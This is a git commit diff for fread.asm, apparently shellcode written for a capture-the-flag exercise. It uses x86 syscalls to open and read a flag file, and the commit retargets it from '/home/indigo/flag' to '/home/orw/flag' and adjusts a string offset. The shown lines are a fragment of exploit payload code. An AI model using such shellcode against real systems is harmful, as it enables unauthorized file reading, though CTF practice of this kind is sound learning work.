From eac4f540f0e7ae16ff9b58d0d91eb70a98f00bc5 Mon Sep 17 00:00:00 2001 From: Brett Weiland Date: Tue, 27 Oct 2020 05:45:54 -0500 Subject: modified: fread modified: fread.asm modified: fread.o modified: payload --- fread.asm | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) (limited to 'fread.asm') diff --git a/fread.asm b/fread.asm index d02753a..03c2ab7 100644 --- a/fread.asm +++ b/fread.asm @@ -9,7 +9,7 @@ xor ecx, ecx ; arg2 xor edx, edx ; #/usr/include/asm-generic/fcntl.h includes define O_RDONLY 00000000 pop ebx -mov [ebx + 18], ecx ; arg1 +mov [ebx + 15], ecx ; arg1 int 0x80 ;eax now contains our file descriptor. @@ -33,5 +33,5 @@ int 0x80 data: call str_found -db "/home/indigo/flag" +db "/home/orw/flag" -- cgit v1.2.3